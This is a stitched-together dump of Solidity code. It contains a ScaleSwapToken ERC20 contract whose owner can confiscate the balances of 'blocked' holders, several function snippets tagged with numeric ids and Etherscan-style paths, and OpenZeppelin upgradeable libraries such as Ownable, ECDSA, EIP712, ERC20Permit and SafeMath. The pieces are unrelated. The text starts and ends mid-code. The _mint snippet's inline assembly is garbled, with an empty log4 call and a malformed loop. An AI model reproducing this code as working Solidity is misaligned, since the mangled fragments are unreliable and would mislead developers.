keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) )) ); } } interface IPLPS { function LiquidityProtection_beforeTokenTransfer( address _pool, address _from, address _to, uint _amount) external; function isBlocked(address _pool, address _who) external view returns(bool); function unblock(address _pool, address _who) external; } abstract contract UsingLiquidityProtectionService { bool private protected = true; uint64 internal constant HUNDRED_PERCENT = 1e18; bytes32 internal constant UNISWAP = 0x96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f; bytes32 internal constant PANCAKESWAP = 0x00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5; bytes32 internal constant QUICKSWAP = 0x96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f; enum UniswapVersion { V2, V3 } enum UniswapV3Fees { _005, // 0.05% _03, // 0.3% _1 // 1% } modifier onlyProtectionAdmin() { protectionAdminCheck(); _; } function token_transfer(address from, address to, uint amount) internal virtual; function token_balanceOf(address holder) internal view virtual returns(uint); function protectionAdminCheck() internal view virtual; function liquidityProtectionService() internal pure virtual returns(address); function uniswapVariety() internal pure virtual returns(bytes32); function uniswapVersion() internal pure virtual returns(UniswapVersion); function uniswapFactory() internal pure virtual returns(address); function counterToken() internal pure virtual returns(address) { return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH } function uniswapV3Fee() internal pure virtual returns(UniswapV3Fees) { return UniswapV3Fees._03; } function protectionChecker() internal view virtual returns(bool) { return ProtectionSwitch_manual(); } function lps() private pure returns(IPLPS) { return IPLPS(liquidityProtectionService()); } function LiquidityProtection_beforeTokenTransfer(address _from, address _to, uint _amount) internal virtual { if (protectionChecker()) { if (!protected) { return; } lps().LiquidityProtection_beforeTokenTransfer(getLiquidityPool(), _from, _to, _amount); } } function revokeBlocked(address[] calldata _holders, address _revokeTo) external onlyProtectionAdmin() { require(protectionChecker(), 'UsingLiquidityProtectionService: protection removed'); protected = false; address pool = getLiquidityPool(); for (uint i = 0; i < _holders.length; i++) { address holder = _holders[i]; if (lps().isBlocked(pool, holder)) { token_transfer(holder, _revokeTo, token_balanceOf(holder)); } } protected = true; } function LiquidityProtection_unblock(address[] calldata _holders) external onlyProtectionAdmin() { require(protectionChecker(), 'UsingLiquidityProtectionService: protection removed'); address pool = getLiquidityPool(); for (uint i = 0; i < _holders.length; i++) { lps().unblock(pool, _holders[i]); } } function disableProtection() external onlyProtectionAdmin() { protected = false; } function isProtected() public view returns(bool) { return protected; } function ProtectionSwitch_manual() internal view returns(bool) { return protected; } function ProtectionSwitch_timestamp(uint _timestamp) internal view returns(bool) { return not(passed(_timestamp)); } function ProtectionSwitch_block(uint _block) internal view returns(bool) { return not(blockPassed(_block)); } function blockPassed(uint _block) internal view returns(bool) { return _block < block.number; } function passed(uint _timestamp) internal view returns(bool) { return _timestamp < block.timestamp; } function not(bool _condition) internal pure returns(bool) { return !_condition; } function feeToUint24(UniswapV3Fees _fee) internal pure returns(uint24) { if (_fee == UniswapV3Fees._03) return 3000; if (_fee == UniswapV3Fees._005) return 500; return 10000; } function getLiquidityPool() public view returns(address) { if (uniswapVersion() == UniswapVersion.V2) { return UniswapV2Library.pairFor(uniswapVariety(), uniswapFactory(), address(this), counterToken()); } require(uniswapVariety() == UNISWAP, 'LiquidityProtection: uniswapVariety() can only be UNISWAP for V3.'); return UniswapV3Library.computeAddress(uniswapFactory(), UniswapV3Library.getPoolKey(address(this), counterToken(), feeToUint24(uniswapV3Fee()))); } } contract ScaleSwapToken is ERC20Burnable, Ownable, UsingLiquidityProtectionService { function token_transfer(address _from, address _to, uint _amount) internal override { _transfer(_from, _to, _amount); // Expose low-level token transfer function. } function token_balanceOf(address _holder) internal view override returns(uint) { return balanceOf(_holder); // Expose balance check function. } function protectionAdminCheck() internal view override onlyOwner {} // Must revert to deny access. function liquidityProtectionService() internal pure override returns(address) { return 0x9420FE350eEF12778bDA84f61dB0FcB05aaE31C5; } function uniswapVariety() internal pure override returns(bytes32) { return UNISWAP; // UNISWAP / PANCAKESWAP / QUICKSWAP. } function uniswapVersion() internal pure override returns(UniswapVersion) { return UniswapVersion.V2; // V2 or V3. } function uniswapFactory() internal pure override returns(address) { return 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; } function _beforeTokenTransfer(address _from, address _to, uint _amount) internal override { super._beforeTokenTransfer(_from, _to, _amount); LiquidityProtection_beforeTokenTransfer(_from, _to, _amount); } // All the following overrides are optional, if you want to modify default behavior. // How the protection gets disabled. function protectionChecker() internal view override returns(bool) { return ProtectionSwitch_timestamp(1624924799); // Switch off protection on Monday, June 28, 2021 11:59:59 PM GTM. // return ProtectionSwitch_block(13000000); // Switch off protection on block 13000000. // return ProtectionSwitch_manual(); // Switch off protection by calling disableProtection(); from owner. Default. } // This token will be pooled in pair with: function counterToken() internal pure override returns(address) { return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH } constructor() ERC20('ScaleSwapToken', 'SCA') { _mint(owner(), 25000000 * 1e18); } }
Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`./
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; }
7,748,999
./full_match/1/0x49F137f60B5A7FbAD577D16f33cFe6Be743C8c06/sources/contracts/InterestRateModel.sol
Returns the interest rate integral from utilizationBefore to utilizationAfter. Minimum and maximum checks to avoid negative rate. utilizationBefore ex-ante utilization rate, with 18 decimals precision. utilizationAfter ex-post utilization rate, with 18 decimals precision. return the interest rate, with 18 decimals precision.
function floatingBorrowRate(uint256 utilizationBefore, uint256 utilizationAfter) external view returns (uint256) { if (utilizationAfter > 1e18) revert UtilizationExceeded(); return floatingRate(Math.min(utilizationBefore, utilizationAfter), Math.max(utilizationBefore, utilizationAfter)); }
3,005,740
./full_match/84531/0xBf175FCC7086b4f9bd59d5EAE8eA67b8f940DE0d/sources/@gelatonetwork/relay-context/contracts/GelatoRelayContext.sol
Only use with previous onlyGelatoRelay or `_isGelatoRelay` checks
function _getFee() internal pure returns (uint256) { return _getFeeRelayContext(); }
11,515,896
./full_match/1/0xF3E03e43cf4188Ede90eb4229fa5667773c5C825/sources/contracts/base/ERC721PsiUpgradeable.sol
Use assembly to loop and emit the `Transfer` event for gas savings. The duplicated `log4` removes an extra check and reduces stack juggling. The assembly, together with the surrounding Solidity code, have been delicately arranged to nudge the compiler into producing optimized opcodes. Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean. Emit the `Transfer` event. The `iszero(eq(,))` check ensures that large values of `quantity` that overflows uint256 will make the loop run out of gas. The compiler will optimize the `iszero` away for performance. Emit the `Transfer` event. Similar to above.
function _mint( address to, uint256 quantity ) internal virtual { uint256 nextTokenId = _nextTokenId(); require(quantity > 0, "ERC721Psi: quantity must be greater 0"); require(to != address(0), "ERC721Psi: mint to the zero address"); _beforeTokenTransfers(address(0), to, nextTokenId, quantity); _currentIndex += quantity; _owners[nextTokenId] = to; _batchHead.set(nextTokenId); uint256 toMasked; uint256 end = nextTokenId + quantity; assembly { toMasked := and(to, _BITMASK_ADDRESS) log4( ) for { let tokenId := add(nextTokenId, 1) tokenId := add(tokenId, 1) log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId) } } _afterTokenTransfers(address(0), to, nextTokenId, quantity); }
8,287,821
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712Upgradeable is Initializable { /* solhint-disable var-name-mixedcase */ bytes32 private _HASHED_NAME; bytes32 private _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ function __EIP712_init(string memory name, string memory version) internal initializer { __EIP712_init_unchained(name, version); } function __EIP712_init_unchained(string memory name, string memory version) internal initializer { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, _getChainId(), address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal virtual view returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal virtual view returns (bytes32) { return _HASHED_VERSION; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.5 <0.8.0; import "../token/ERC20/ERC20Upgradeable.sol"; import "./IERC20PermitUpgradeable.sol"; import "../cryptography/ECDSAUpgradeable.sol"; import "../utils/CountersUpgradeable.sol"; import "./EIP712Upgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable { using CountersUpgradeable for CountersUpgradeable.Counter; mapping (address => CountersUpgradeable.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private _PERMIT_TYPEHASH; /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ function __ERC20Permit_init(string memory name) internal initializer { __Context_init_unchained(); __EIP712_init_unchained(name, "1"); __ERC20Permit_init_unchained(name); } function __ERC20Permit_init_unchained(string memory name) internal initializer { _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); } /** * @dev See {IERC20Permit-permit}. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _nonces[owner].current(), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSAUpgradeable.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _nonces[owner].increment(); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20PermitUpgradeable { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165CheckerUpgradeable { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { // success determines whether the staticcall succeeded and result determines // whether the contract at account indicates support of _interfaceId (bool success, bool result) = _callERC165SupportsInterface(account, interfaceId); return (success && result); } /** * @notice Calls the function with selector 0x01ffc9a7 (ERC165) and suppresses throw * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return success true if the STATICCALL succeeded, false otherwise * @return result true if the STATICCALL succeeded and the contract at account * indicates support of the interface with identifier interfaceId, false otherwise */ function _callERC165SupportsInterface(address account, bytes4 interfaceId) private view returns (bool, bool) { bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId); (bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams); if (result.length < 32) return (false, false); return (success, abi.decode(result, (bool))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820RegistryUpgradeable { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two 